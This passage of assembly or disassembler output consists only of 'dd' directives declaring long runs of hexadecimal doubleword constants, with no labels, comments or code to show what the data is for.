		dd 0DE73BB25h, 0B785780Ah, 2F1B4838h, 98B138E8h, 70D3E5FBh
		dd 0C57A7553h, 9FDE6520h, 505F2EC1h, 2EF6CD77h,	5296DBFBh
		dd 0B6A9A904h, 13010343h, 85213DFBh, 10F968A7h,	222BDED9h
		dd 38A236F2h, 0EEB197F6h, 2B87E414h, 199E79B2h,	6E1DEAD6h
		dd 636EA4B3h, 3236ADA7h, 721E65DFh, 0FE378872h,	212BA798h
		dd 0C284B04Bh, 5ABF715Bh, 0AA7A9325h, 0DEC4D32Eh, 394262B4h
		dd 0FC89BFD6h, 0B4E95B13h, 1F3D3785h, 0E49F165Bh, 0D5BDC923h
		dd 15372C2Eh, 436DE499h, 0D03F4668h, 68AE5EF8h,	0B0A4881Bh
		dd 6E1C6E4Ch, 0C083E21Fh, 973A7D8Dh, 0C13B2504h, 2205A3F8h
		dd 0BB038B6Fh, 9EDEDD32h, 0C5AEAD51h, 64959408h, 7E7B6E73h
		dd 2007E496h, 0D8714697h, 0D3FA8DDBh, 57F79C22h, 28CACFAh
		dd 0D858ABC6h, 0FEE0A5C2h, 46172CB0h, 0C8A3F189h, 9BAD9E54h
		dd 93C3C9A0h, 1D4AD207h, 297DB9Ch, 4FFB427Bh, 0B449EF5h
		dd 0D035ADB4h, 14D5395Dh, 3D4E23E4h, 0C6FCB8D2h, 48A99200h
		dd 0D354A1D6h, 83407129h, 742B3338h, 1A26FE7Dh,	0A8853E6Eh
		dd 0A2F8D8Fh, 0D656AECFh, 224BE5E2h, 99EE7B78h,	0C68C4E08h
		dd 0DDA04924h, 99D8A66Ch, 0F5B6493h, 318CBAE2h,	0A1F0378Fh
		dd 0E8589556h, 6DA624F4h, 81BAE96Dh, 0B30BD23Bh, 953A77FDh
		dd 9B722D67h, 0F1AEAAB2h, 1641C858h, 89D7A616h,	0CEB63224h
		dd 7466D0C6h, 1C1D616Bh, 7664B1F2h, 0CEF98C7Eh,	0B4F2A29h
		dd 0F7066D9Ch, 0DCA7A67Dh, 2C3927Ah, 325B6854h,	6FB597Bh
		dd 809011A8h, 0B808708Fh, 685A0198h, 0CBD500FBh, 79D1647Fh
		dd 0F27D485Fh, 0C953B195h, 0A6FA4DB6h, 27736266h, 809C1175h
		dd 65A2D2AEh, 0A33A458Ch, 444F059Dh, 275075CDh,	0D36BDA9Fh
		dd 11EB3F46h, 5D7D5C3Bh, 6541B12h, 0C4DB3328h, 8280CA2Dh
		dd 9B706E72h, 7EC19F03h, 2511A04Fh, 82EDE315h, 397C2D5Eh
		dd 61B589DFh, 0F2918C52h, 0BF4CD6A4h, 0E4155237h, 9D81C080h
		dd 6D33F741h, 598FDDD3h, 0EA8F9B75h, 1870D31Ch,	6BEF4DBCh
		dd 1119C968h, 88F4195Bh, 0B6F2FE52h, 0A10945F0h, 405FF9D7h
		dd 74C4CF0h, 0BE5A0532h, 7E060A7Fh, 13A1AEC8h, 0FA60932Ch
		dd 83A46094h, 9F71DA12h, 77373A4Fh, 0F331E991h,	0CA32C711h
		dd 9CB42AF0h, 4EB46B62h, 2E2A1DFBh, 7F429137h, 549B94A7h
		dd 5456EB40h, 0D4669522h, 6DD74181h, 0D3E5C040h, 7568BA6h
		dd 8BC9713Fh, 95AD9642h, 0AA0BC2A7h, 9C8FBB76h,	50E43C6Bh
		dd 0F7F671C4h, 309AC4FAh, 0FCDAAEC0h, 89D37F46h, 1109712Ah
		dd 42D7469Fh, 53AB435Bh, 0FD4321ECh, 2C6811Dh, 9C8E21E1h
		dd 33B8EF1h, 8B9EFC62h,	59C68736h, 0E833AF19h, 0A482F69Ah
		dd 98672738h, 0BD28554h, 5BE3D408h, 0FFC5207Ah,	65FFD874h
		dd 0C4622108h, 3FF3AF88h, 7A34AD35h, 1554A8CBh,	0D8D96516h
		dd 9090899Dh, 0C77F6FC7h, 0B2CD5C16h, 5FC51EB9h, 86626BE7h
		dd 9E5F5732h, 62145BEEh, 50659A75h, 0A06D6E09h,	0FFFF9323h
		dd 0A31AE990h, 0C746B4B6h, 66241AE5h, 48E59EB1h, 0B41DFCEAh
		dd 0DD1A08EAh, 662CF9Ch, 81C3BF18h, 90848AACh, 8B9977FDh
		dd 9907C824h, 4386CEE6h, 86CB307Ch, 0D67A5CECh,	3B22CB07h
		dd 283D83E2h, 13B53819h, 370FC452h, 8E637A01h, 0DD4C6F05h
		dd 8A29A5Ch, 99B007CAh,	8DF72FEAh, 0C5C33323h, 4FC872F9h
		dd 0F5586E24h, 0B0E7CA81h, 1B0E0E1Dh, 0CA5FB22h, 4A26FFC1h
		dd 0A9D7EDCFh, 80C31C13h, 0FD009AA0h, 0BC8BCBE3h, 0D46F50FFh
		dd 0F5ED5EDCh, 4CE40DB4h
		dd 6366A54Dh, 9BF1BCA8h, 0AD059284h, 315C33AAh,	66CA04CDh
		dd 0D621458Ah, 5A6EFB21h, 0D734CBC4h, 3374DF6Dh, 0A143FC4Eh
		dd 2B35E6F3h, 1EB82066h, 4A8DA03Eh, 0EE707555h,	3114B505h
		dd 7FDE2FBDh, 836CFAE8h, 9181E521h, 8BC52D7Ch, 1AB2789Ah
		dd 0E981101h, 0A069FB14h, 0A385291Bh, 72B38E45h, 0D1E85CEFh
		dd 0E96ACA4Bh, 0D4C70C60h, 91A62D95h, 9C8B2714h, 54D52B8Ah
		dd 62582061h, 40856DB0h, 4CBD9AC3h, 2E8DC9E4h, 0B80126C6h
		dd 4588FC35h, 0B71254E5h, 7B3C1D02h, 9E94304h, 0D061B25Bh
		dd 58AD468Ch, 5AFCD8D3h, 7B5ADAEAh, 90B52CBCh, 8192F9A8h
		dd 0AF7FDCA3h, 4748EB5Ch, 0BE1FF7C9h, 0A1EF7A65h, 0C7D0DA88h
		dd 0F41A1F61h, 0FB6C8B22h, 0AA20527Dh, 0BB8747AEh, 0BAE35DCh
		dd 41CCECA6h, 5659B673h, 0D13C500Dh, 8BAA2033h,	0BBBC347Ah
		dd 0BF618342h, 96F2BB26h, 0D9A4CDACh, 0D5973DA8h, 0A01855A4h
		dd 0F020AF1Dh, 0BE831E40h, 6B9E9F4Fh, 15D2AEAAh, 45D5382h
		dd 98D0C924h, 0D90D7D10h, 3864B6CAh, 4A76E4E3h,	0FC04B487h
		dd 66FF7AA9h, 296C3F7Ah, 0BD9C68DEh, 86BD1693h,	54000997h
		dd 0F0FC8D6Ah, 939B8DEAh, 8191A668h, 0AD0D896Dh, 4CF3AA69h
		dd 28418D62h, 3BCCE615h, 90196488h, 0F7C0108Bh,	48A831Ch
		dd 0FEDBC4BDh, 3955F9F2h, 0FE7F39D4h, 2391CF63h, 2512C0D6h
		dd 2F937FE0h, 8F50C747h, 985F4496h, 4856BD0Ah, 0FC3C6552h
		dd 0E66DB128h, 0C2512530h, 0AF177116h, 4B1E804Dh, 0DB830560h
		dd 3C8F6C72h, 7CDF997h,	5EDD8B65h, 1DCEE989h, 5BF872B3h
		dd 0C209246Bh, 542C7A42h, 1322D859h, 9E210E9Ch,	0E3AD1E28h
		dd 6A55198Fh, 1D269C91h, 6E3E1671h, 87382937h, 0D7F67FE6h
		dd 9E5E205Ah, 48EC8B91h, 7097F911h, 0CB5F2968h,	0F6643A9h
		dd 540B7F51h, 2EF4D4A5h, 57F34B0Bh, 0D9B796ABh,	85BBBD0h
		dd 0B4872F69h, 889077A7h, 7A7AABB8h, 0AE617AFDh, 3C3D77B8h
		dd 0BE335D9Dh, 6DEAFE0h, 0B839C207h, 3820323Dh,	75A38352h
		dd 0A71EDA1Fh, 0C4242124h, 654D3376h, 75F6566Dh, 17241A6Ah
		dd 9C5EA330h, 9295091Ah, 45945FFFh, 73A45ADCh, 64819E2Ch
		dd 3F43E04Ch, 5A13E712h, 76EFBEA0h, 66D6194Fh, 88AF868Ch
		dd 0CADBC948h, 4531D5DDh, 0C448C54Eh, 3A89E6B7h, 44EF37AAh
		dd 0B6EC2E34h, 23F2084h, 0AD3DCA66h, 5C0E0CF6h,	8A9A0DDBh
		dd 55FAF594h, 0C334A956h, 0FEF0CD6Bh, 0B44E5409h, 9969136Eh
		dd 8DCE56D8h, 0B0327600h, 6326AB07h, 0BE5DEB32h, 0DC79DE17h
		dd 7DF9FBE0h, 2D40373Ch, 0FF17CBA9h, 0C0ACEA38h, 53E582B3h
		dd 752BDE7h, 0F9C2D851h, 7539A4EBh, 60CBC473h, 66BB9881h
		dd 0CE0F7FB0h, 9DDBEFDFh, 2D5995D3h, 0DC5B40A6h, 8031A031h
		dd 0C8607EFEh, 0D4DC7BC8h, 46C9144Eh, 529ECD1Eh, 1C3BD3EEh
		dd 9685A99Ah, 751FED9Ah, 922A9C5Bh, 0CF6C1B4Eh,	15D5DEC7h
		dd 9E3E650Ch, 93F342A3h, 0B3AEC6B4h, 0B9EB2894h, 5795833Bh
		dd 699B1196h, 5C002E4Eh, 9FDB6844h, 0F4DB4BE0h,	0A84B9D4Ch
		dd 88880711h, 8CD86A2Ah, 179C5AC2h, 475969C3h, 490E61D2h
		dd 50435CB0h, 0AE5F864Ah, 0A2702B18h, 3B88C289h, 9CD6CF15h
		dd 0FAC1686Ah, 0D337512h, 8B6AE1A3h, 8474BCF3h,	0F7FC0BD7h
		dd 822345B4h, 0A07B482Eh, 0B8B84D00h, 46157A2Eh, 96DC31BCh
		dd 0DE90D2E4h, 16AC4443h, 0CAB85A1h, 89D0CD83h,	76943B82h
		dd 0C5628557h, 5ABF47D0h, 71DF67A5h, 275AC99Ch,	0D76389DDh
		dd 4846A5ADh, 5D1E3DD6h, 0E06C5FDAh, 8AACFF1Fh,	312EA483h
		dd 74416264h, 583574A8h, 0B0796C12h, 0EA82612h,	2B2C35F6h
		dd 0F354E190h, 63AEAE43h, 0ABAC4797h, 98275283h, 0C22EB38h
		dd 0A25FD4EAh, 9ED61126h, 47432C1Ch, 0ED7CA27Ch, 649EDE3Ch
		dd 2D90B4CEh, 1B2BE46Fh, 6FF38796h, 0FC89E9A8h,	0C5E73737h
		dd 0AE684479h, 0A2299761h, 410D4927h, 0EA05F86h, 125FBFFFh
		dd 316FE548h, 5352C4BCh, 0A210833Eh, 0E956F1BFh, 0A15AE3F6h
		dd 61A37A3Eh, 5702D29Ch, 0DB0BE0BBh, 1401F0B3h,	0BCE9B635h
		dd 0D789C0ABh, 1F8BFA0Eh, 52EC92Bh, 0D4C221A4h,	492D36B1h
		dd 5B194895h, 0BE03A26Ch, 0DEFC2005h, 95D25B2Ch, 7F1ABF32h
		dd 9BD705Eh, 2FABA720h,	1228F1AAh, 417DC718h, 0C9AD9AFEh
		dd 0C1CF7884h, 0FF82DBFFh, 5A6917B2h, 0D8DB49BBh, 80510A41h
		dd 0C2624867h, 97B4C9Dh, 0BA08C457h, 0F8474E57h, 0B5EB713Ah
		dd 6F6056C7h, 2F26578Bh, 0CDA1A275h, 24304ABFh,	0B94A4A6Bh
		dd 6B98494Ch, 0A69BF117h, 9FE73CC1h, 0B48E697Fh, 0F2672F8Fh
		dd 5C8BFC30h, 6B2AE437h, 7FCE863h, 17629A88h, 92432167h
		dd 379E1BADh, 4B8CA0D5h, 0B735491Ah, 35F5C380h,	2198EA25h
		dd 0B7AE6E22h, 499AC1CBh, 0A573BEDBh, 0EB0A5231h, 0D22E7BD5h
		dd 0F8141E60h, 4C04B6D3h, 0D327FB78h, 9079E2D1h, 0AB0F1368h
		dd 28CD6394h, 0E7AF6738h, 0F05A16C4h, 7ABEB63Dh, 143EE9C1h
		dd 66E4C85Ah, 0AF8BC541h, 3DE96F5Ah, 0F9D46F14h, 0ADC98599h
		dd 0DC277F0Dh, 35168ED0h, 9F64CDBEh, 10AF37A7h,	90349B50h
		dd 0E00C8418h, 3061ECAFh, 2422409Eh, 39734ACEh,	81C973A0h
		dd 0A253A8C0h, 0DE8843FAh, 87ACF31Dh, 6A0BF801h, 0E33D6EF9h
		dd 0A420E43Ah, 2924E510h, 1F2E47E4h, 84071B42h,	475FD83Bh
		dd 559897F6h, 0ED5EC42Fh, 0EF66FEBCh, 2B0F559Bh, 0ED78C40Dh
		dd 76929Fh, 8617DC5Dh, 193CEB05h, 502FCAC4h, 8CE4D80Ah
		dd 81467B5Fh, 0F7225A06h, 0B7728451h, 9A4AD2D9h, 4750D8E3h
		dd 0A420E78h, 0A7ECB21Ah, 5C7CA1A7h, 86229953h,	764E3212h
		dd 0EDAD8DB9h, 8B926338h, 0F376862h, 0E6C6B6D0h, 66F7C983h
		dd 28BBCCAAh, 0D6F214FFh, 5971EB06h, 7BF701EEh,	37623C6Ch
		dd 1674A5A2h, 0AD168E5Eh, 8AF6CFE8h, 11D07F46h,	0E67AD761h
		dd 193D24C7h, 8E5553C6h, 35A2C8DAh, 0FE9EC00Bh,	46BE4B55h
		dd 83F413A0h, 0CD8050ACh, 0F95EEDD1h, 6193316Fh, 80750490h
		dd 1083A0A3h, 0DD3EE9Fh, 0A7F8095Ch, 0E4A6364Dh, 806264F0h
		dd 4B9FAB9Ch, 2D487ECFh, 4CCD0BDDh, 0BF11A08h, 69D6308Ah
		dd 0CD717AE8h, 0AB2CBF99h, 0B53EEC12h, 87FF0A2Dh, 91D3BEE5h
		dd 0BEB0DEAFh, 0E6CBFB5Fh, 5FBE0A08h, 20B241EBh, 6F404646h
		dd 15F21064h, 6D57A2Ch,	8BE76B9Dh, 926C539Ah, 0A7264E94h
		dd 0A7B5AA3Dh, 7CEEC383h, 0BA9DFFA8h, 73F40B0Bh, 0AD12AA3Eh
		dd 8FF0A44Dh, 6C1BEDDCh, 0B6C1DA82h, 0DBF4E817h, 230485EEh
		dd 5CE01882h, 3761CA65h, 3C541165h, 4D0B1BD6h, 735BCF2Eh
		dd 50931B5Eh, 0B2C204F8h, 0B3F9D459h, 0AA6294F2h, 0F044EF95h
		dd 39550705h, 52C74B0Ch, 0C9142C1h, 90F9B35Ah, 0A603C5F0h
		dd 1F225456h, 8EF7E651h, 999DD441h, 0A38AACEh, 3190E95Fh
		dd 590D7C2h, 710A7D38h,	7F49D8F1h, 0AAC74255h, 0E4C5BF5Ch
		dd 0C01F3950h, 7BD6497Bh, 9DD59ED1h, 0E53C08E6h, 0B1DDCA78h
		dd 0A6C1A5A3h, 0BEC25420h, 70173F63h, 7CA112FCh, 82821B1h
		dd 6553C60Bh, 0E9CDB87Dh, 0BC4D22F9h, 42B97687h, 0DA5F1855h
		dd 0E59C6ED6h, 0A6FADC06h, 50FAC255h, 3B54DA31h, 0A30B91D4h
		dd 0F6CB258Dh, 18BB7CDh, 0AE3D84D0h, 0E68E65C7h, 97D9FF25h
		dd 0EE510F87h, 0A8B795FEh, 1109D808h, 652EA2FDh, 0D73E343Ch
		dd 9E7CDF5Eh, 82DAECD6h, 57CBE588h, 584B1735h, 0E333CB60h
		dd 4AE8C5Ch, 0B2D8EF56h, 828558FDh, 4B68E398h, 0CF0671A7h
		dd 3DA718C8h, 5F9ABE52h
		dd 8D130478h, 7D5EB4ACh, 447ECCA7h, 0BB91FA6Ah,	2DA1DFD6h
		dd 0D3884D5h, 0D491277Ch, 0D2E544CBh, 13A12957h, 4E66F793h
		dd 0C345B327h, 0D219D75Fh, 56D17DD9h, 7A4BB843h, 21783F8Eh
		dd 0EE9025B9h, 282E8C1Dh, 79F7DAE2h, 940AD469h,	0E041A5DEh
		dd 0E80F1ABAh, 456F132Eh, 63910637h, 0E942D3ECh, 42F2CAA6h
		dd 598BC26Ah, 62DC7402h, 0ACC9C35Eh, 797364Fh, 0FD9449A5h
		dd 54BA9B7Dh, 84D6C9B3h, 0F1AE9E0Dh, 0F38F00B3h, 93DC09A3h
		dd 119CA937h, 0DB9DB60Bh, 62BCD75h, 0A3F4A3C0h,	0F81BC12Bh
		dd 0CBA1FD96h, 7D274A66h, 819918B3h, 466BF429h,	4391B8Eh
		dd 31AC4EC4h, 0BD031780h, 1C2BA815h, 3F095BC1h,	0DAB86FE4h
		dd 0C0645D80h, 2AACB0F5h, 0C8AD6600h, 2ADF976Dh, 0A5398F63h
		dd 1D200236h, 2CD83E6h,	0FB2BFDAh, 5B9BA71Dh, 8459447Ah
		dd 0CE903776h, 6E6E8C7Ah, 0DD419300h, 47E52719h, 516143C4h
		dd 0BFB44B5Fh, 88BB63A9h, 0C7888269h, 4F7EE74Bh, 686D2843h
		dd 30DAE919h, 39F5978Dh, 67B1D76Ah, 2904F67Fh, 0CEB664B4h
		dd 31D6771Bh, 0E750324h, 0E8F614C9h, 13DF1615h,	32483A90h
		dd 0FD5AF3ABh, 31F8B703h, 1213DB8Eh, 0E4E5C6EAh, 0B9B63CE9h
		dd 45FEED71h, 4BE622A7h, 7EBD30EEh, 0A2494860h,	54A2C0C8h
		dd 0CD018ADDh, 0E413A3CEh, 44FD7EDCh, 0E892BEAEh, 6E056FF8h
		dd 0BDD506F1h, 0EF366DB1h, 4F7065B2h, 0F9617D28h, 0F47AE355h
		dd 9C50B9A4h, 3C8659A6h, 0E39F7C1h, 0E4177AEBh,	1E2E501Fh
		dd 4364675Eh, 8328BBFAh, 0B021BF70h, 74415AB2h,	0B9C71A8Eh
		dd 9CECE3CFh, 87AEB58Ah, 742D7023h, 0DA00DBDCh,	4D28556Bh
		dd 2662806Dh, 0C44FCA1Eh, 0CD846A8h, 0B1B5AC36h, 0C9EB2D68h
		dd 76C32DAAh, 34AE1EE6h, 61EB8C88h, 73399D7h, 71E09FEDh
		dd 52B698DBh, 0DE0B17B8h, 0B4B4ECCAh, 0F7066959h, 89128AE2h
		dd 0AB814823h, 147399E0h, 1F9CB053h, 0B1530E7Fh, 81239A73h
		dd 171DAB28h, 9F4D1A12h, 0DA0803DDh, 2A141C4h, 0BD7F0868h
		dd 8493F6EEh, 3B1E33A3h, 61D01CDAh, 52D0F792h, 258A022Ah
		dd 79308A17h, 28BC56D4h, 0FC3FFEF6h, 0FE9788F9h, 3A77FDB8h
		dd 7AB622EAh, 462E75Ah,	753FAAE4h, 0D85E2401h, 1052CAF9h
		dd 0C552BF1Ah, 0D604BDDCh, 0B2C52394h, 6D59D849h, 8E47B978h
		dd 0F129F769h, 0F6CFFCDh, 8EDB3221h, 0ABD8E111h, 0D283D686h
		dd 0EF51F6D2h, 0CFB62504h, 181B110Dh, 4F55AE24h, 0BF2E23DFh
		dd 0E6DA7B20h, 23BDE13h, 0E216A0h, 788FDB76h, 3C8EB2F9h
		dd 5383135Dh, 6DCC5036h, 0FABC486Ah, 7DBCB03Fh,	0BC724A63h
		dd 305AE5F1h, 0D1D1EBEAh, 0B6C73C0Ch, 8B489C1Ah, 0F8AF7704h
		dd 1E50B699h, 0A749228Dh, 77B784EEh, 0B00A7812h, 0B62A7B72h
		dd 0AE224FE2h, 0D9226D9Eh, 3061C800h, 5DDC801Ch, 22D4D812h
		dd 0B915D597h, 9C809A8Ah, 6FBB0BCCh, 0A901A861h, 0D397E981h
		dd 3BDB0852h, 4BF69009h, 8D5CC35Bh, 8ED8AA8Eh, 56935CE7h
		dd 0BD6E63DDh, 63BA5FBFh, 99705958h, 9DCC5416h,	0B0129D3h
		dd 0F656688Ah, 8313200Eh, 19A2B92h, 0B8D148A0h,	63923C5Ch
		dd 5A827E17h, 3AF7B923h, 0CE38BB7Ah, 52134FC9h,	0FB08FBCAh
		dd 927E1D1Ah, 610F9A1Ch, 3919D148h, 959331E4h, 29226AD9h
		dd 9E42050Fh, 0C248EEB5h, 0B8D1EAACh, 0AA03E084h, 0A4DB3D09h
		dd 0E2806EDCh, 2E8F63F4h, 2411CABBh, 77767EF3h,	39D1DFAAh
		dd 0B5F7DAD9h, 0DD1071E0h, 0D8F806A4h, 7C9AB734h, 0EE891DCBh
		dd 0BA1C1CE0h, 74B8DF68h, 0A2355FD9h, 84F56376h, 8B4381E2h
		dd 0F21C534Eh, 0DB31F1CBh, 846A6804h, 0F0A9E515h, 5BA797D9h
		dd 0DA0C68B8h, 0FFB57824h, 2F87A903h, 883F87A9h, 0D066303Bh
		dd 4D14B1Ch, 0E1C5FB32h, 254B5DA7h, 46BD84B3h, 1732AB60h
		dd 0FF3617BFh, 0FE23B134h, 17279B8h, 0D7D9DFE0h, 0EDDE2933h
		dd 910A54A0h, 0EF05A07Ch, 0A3A03448h, 9AEBF5DFh, 3AA8FBD4h
		dd 0DE952BE9h, 0EE001D0Ah, 0A5C02343h, 3642CBF5h, 3143736Eh
		dd 34D68D9Dh, 14D8CF1Dh, 2215F8F4h, 67CD7925h, 7A2FA8B2h
		dd 6F591111h, 5C6510A2h, 95D263B9h, 3AEC1B0Ah, 0DFA66E84h
		dd 0B3273C8h, 81B6A1B2h, 0B1C2F00h, 0E1462438h,	6830CE55h
		dd 93EC9EF1h, 9D2720D9h, 0CE94A79Dh, 0B5E33F73h, 23D5B212h
		dd 0E4F3534Dh, 43D6C85Ch, 0ACCD8FB5h, 151F9158h, 669CE394h
		dd 0B6D20F45h, 0C3CCFE07h, 9A430217h, 3D0BA0FDh, 0B734A15Dh
		dd 0C39759C0h, 0C77FF47Ah, 1BE5BB6Eh, 5E582CF7h, 15F680C0h
		dd 77F68EC0h, 0F6970DD7h, 9A706585h, 0C04CBE37h, 0DDFE5835h
		dd 0CBCBAA98h, 0CAF985C9h, 7AAAAC37h, 0B2F59310h, 12E34D72h
		dd 6BB5C3FEh, 997C09A6h, 71C91D94h, 40D8DB81h, 0FE9CC147h
		dd 2B86ED8Ah, 0A4989F3Ch, 0D1A10A98h, 750932BBh, 3F01FC07h
		dd 5BFAF435h, 0F7CFB690h, 0CFA4F22Ah, 4A415D33h, 5F7584F1h
		dd 0D098CF3Eh, 6A730A16h, 3A0C52Bh, 0D8DC9BBBh,	69D6F006h
		dd 17D02576h, 0E1B205B6h, 3FBA7A42h, 71A55A59h,	8AB3F2F0h
		dd 731EB90Ch, 9EDF9727h, 0C688DE0h, 33DA628Fh, 0BD57E86Dh
		dd 86068C65h, 1D8ED511h, 0C146053Fh, 0E5E9F649h, 0ED18A1BDh
		dd 17ECF837h, 8367E742h, 6F50ED0Bh, 0D0248157h,	7823F661h
		dd 0DA9F8FEFh, 0B8CCA20Bh, 0C930E3E5h, 284D47A1h, 47233514h
		dd 0D7CEF7FEh, 18687EAh, 8954EBABh, 16FE5048h, 33AA5B5h
		dd 960BC7AEh, 867792F9h, 8CB4BA0Eh, 0E1D38192h,	5A0A9FE2h
		dd 0B6A449B5h, 0CF709D7Dh, 0AE5AF36Eh, 8D064767h, 861E2E4Bh
		dd 0CAA0583Dh, 2FCC1F8Dh, 7A21A007h, 42F073A4h,	713C9346h
		dd 8132840Fh, 0D527AB7Ah, 0F04F9D72h, 459B25Dh,	2AA395F9h
		dd 0A41FDA9Ah, 5940A53Bh, 0D533A6A7h, 72D4128Ch, 0E8380083h
		dd 0A5A12796h, 1129C7E2h, 6C460D4Bh, 1D4D8257h,	678BE276h
		dd 0EAA6A133h, 0C5920F7Dh, 0DF660375h, 0F1A1479Ah, 6EE8DF2h
		dd 321E4385h, 2534FA61h, 0EC599F70h, 3E5817F4h,	8E62CE42h
		dd 0B5CF72EFh, 10BC7711h, 6216405Dh, 15A74720h,	7C3D6BABh
		dd 8FAFD3FBh, 1BA5EC5Ch, 41B25D8Dh, 6B60D27Ch, 276B247Bh
		dd 109D4935h, 0DA10613Bh, 8B21F007h, 685B7D9Dh,	84A19E39h
		dd 5C9306BDh, 3A7F4DBFh, 0DCF34CC0h, 0FB81163Bh, 0DDABC2B0h
		dd 2BD765DAh, 269DD2E2h, 196320C7h, 9D1F55D1h, 0DB76AAFCh
		dd 891D909Dh, 8BB1B59Dh, 146D6043h, 8A4FDB74h, 0DF2CC6DDh
		dd 5F682D76h, 0C23E906Ah, 11F588C6h, 85BBC202h,	105A99F6h
		dd 5E7C7156h, 0BF724F72h, 0AA9ACF37h, 0F056E14Fh, 4F474D3Ch
		dd 8ED7F3D6h, 0C172F12Bh, 0DBD759FFh, 15BD3CA3h, 0FC61D2E5h
		dd 37C5D0AFh, 0A6F14802h, 3986865Ah, 74A18F98h,	4D1A826Ch
		dd 0E474F633h, 4493D2E1h, 2F86F721h, 0C571A8BFh, 719C4205h
		dd 9399743Ch, 6B12BEA7h, 52C55CA8h, 97F37108h, 0ED033B3Eh
		dd 0EC48C7C4h, 0C23C9104h, 0A7759CCBh, 0ED797ACEh, 7B75BB20h
		dd 0C945FFD9h, 0D28B53D0h, 0D5D001A4h, 0A1752A9Bh, 6420924Bh
		dd 8C9763A3h, 63F3DEF9h, 0F8EA0CFBh, 0FB57CB66h, 0EF9C8096h
		dd 0E8B555B6h, 7C12F982h, 0B2686825h, 68D9E9CCh, 0EBA78CC1h
		dd 0D58E3A40h, 805F7582h, 0F480D4C0h, 102C2ECBh, 29D55CD8h
		dd 0EE0F2E5Fh, 0C7718156h, 69368B7Bh, 69D282F7h, 0A4A8A9C6h
		dd 1EDF6185h, 74949A99h, 0CA5E5D36h, 35BF61CDh,	0A5BE9ECAh
		dd 0B600EC11h, 6EF88EC9h, 393A879Dh, 0BC845932h, 8BB3EAEEh
		dd 9EC558FAh, 0CA997BF2h
		dd 55372EFFh, 9DC3AB4Ch, 9C531E51h, 6FF1D78Bh, 2A9D36CFh
		dd 0F2AE2A0Bh, 1D3FBD04h, 13EBF334h, 451BF153h,	0AEBFA3Fh
		dd 12363B65h, 7401315Eh, 0B8B89253h, 0F55F7D34h, 0AEB7F709h
		dd 0EF3F1FC8h, 4CBCCBAEh, 6986A72Dh, 3006BE65h,	132D7572h
		dd 3636B1EBh, 82D8C1F6h, 26D942DAh, 0B815A9B2h,	1F51C30Ah
		dd 50BB38F7h, 30A1B386h, 0EC266B3Ah, 0C533D960h, 0A0EDABD5h
		dd 0A74C7DC1h, 68E5540Ch, 14724E68h, 8AB46AD7h,	1FA1E2C6h
		dd 0F499B940h, 0C6D530C3h, 44A56454h, 888B5825h, 0BB35E23Ch
		dd 2386F2E0h, 0F8423F36h, 0D0AE697Bh, 33A667E1h, 9D365BAEh
		dd 73ED6395h, 85E0E635h, 854681D4h, 6A3DA6ADh, 29CBB62Dh
		dd 622EE630h, 84DFE695h, 3D15C041h, 0FA3CFE27h,	0EAE6D468h
		dd 131B38F5h, 7100475Eh, 0EDBB8587h, 6C59B0BEh,	4BBC90F2h
		dd 1B4C3C25h, 0DF529A53h, 15CDBA7h, 4C890D7Bh, 394B62D4h
		dd 8967F625h, 0E7C229Ah, 0E621FBCCh, 907738FDh,	31A7395h
		dd 27E00EFBh, 0CDB45973h, 9BB5024Ah, 7A7BC3F4h,	3E31FDCFh
		dd 51ACB357h, 2B7FD34Eh, 0A7C9F613h, 50EF432h, 50E9B216h
		dd 0D3607A4Ah, 65B461D9h, 9DF2B89Fh, 0E19AC93Dh, 76927F31h
		dd 0DE855B1Fh, 806EC62Ah, 0A39356D8h, 0C3FD8DAAh, 200BE0E7h
		dd 0C9CE5EFDh, 31329CDCh, 492A81B0h, 0D4058B68h, 20CD95F3h
		dd 0AFB2C3FAh, 0E325C055h, 37CBF0C5h, 58ABF070h, 0E5CA256Ah
		dd 7C2B6417h, 44A65CE4h, 0B7B7BA15h, 40A0B9A4h,	54A5E8ABh
		dd 693A5BF5h, 5C76D989h, 64ADA188h, 0F3F41755h,	5B3EF297h
		dd 0F5D4B059h, 856CBDC5h, 8E1D3272h, 959C4781h,	0A3648FB2h
		dd 0E152164Fh, 114A54F7h, 842F543Fh, 5208C2AAh,	68317650h
		dd 0BFF0CCABh, 6692A460h, 2C7C6E3h, 0DD59F497h,	21A94F3Ch
		dd 0D323E67Dh, 5D3FABBAh, 0E7A72C3h, 7D58AAA2h,	0E25E3223h
		dd 6F1A5DB5h, 0B9727969h, 0F7D45A47h, 0A5CFAD00h, 2E2BA762h
		dd 0BEFC1273h, 0F5700DDFh, 8B898C93h, 0C57D54D0h, 0E46D1456h
		dd 0AE229487h, 2B4DA606h, 4B2C42B3h, 83B60D06h,	4F380BFh
		dd 88182988h, 0C05DDEFEh, 6DC0740Eh, 0A25FC9C5h, 8D7BA09Dh
		dd 0ED68F14Dh, 0D144C5BCh, 2C62006Dh, 264DB4B7h, 0E264EC7Bh
		dd 55F0FD65h, 0AA01C5B2h, 7C57F616h, 3E913426h,	15E5E63Fh
		dd 0EEE113C0h, 0ACA037D4h, 0ED0E496Dh, 4FD29BD6h, 0E0378E40h
		dd 5D5BF25Ch, 0E0948D03h, 433C8F21h, 0B05370E5h, 695B73Fh
		dd 9E944D0Ch, 18AA5C03h, 0CB2F9350h, 1B20A2A4h,	31C897ACh
		dd 0D8E1EE32h, 19F109Fh, 55326FB6h, 11432E74h, 4C9D859h
		dd 8B5AFCAh, 0CFCACF08h, 0F34B74C1h, 0AD966D50h, 0CCFB94FCh
		dd 1114366Dh, 25A72054h, 75290035h, 0B03E71D4h,	385CFE09h
		dd 0ACD92FF1h, 9AED3EBh, 4D8FE1EDh, 423DC65Fh, 93D127FAh
		dd 0AE67B94Fh, 0D0E344D2h, 0B306DBFh, 4D278DEAh, 0FDDF71CFh
		dd 57E18951h, 15B37D1Fh, 0D0924982h, 37777E3Ch,	0D5769A8Ah
		dd 52BC56B0h, 2B48F700h, 0DC2229F7h, 948B7CA2h,	1E80DCC4h
		dd 89A251C3h, 7E0D5030h, 55769DC4h, 77BA9A7Bh, 0DC1BF376h
		dd 0B79801h, 8A0AF8BFh,	2E52295Ch, 0F3B3905Dh, 110CBFFCh
		dd 0BD6D4CF3h, 43B72591h, 0F5BCD833h, 0FD3C8BEAh, 1F60680Dh
		dd 316B5A20h, 1E56B4AAh, 304629DCh, 2952497Dh, 0FD2A16FEh
		dd 5B531DF9h, 9BABAF2Bh, 0B8502F80h, 18B9802Dh,	0BEBD14B9h
		dd 3AB63BC6h, 3E09B071h, 160523EEh, 0DF22C133h,	61B04E52h
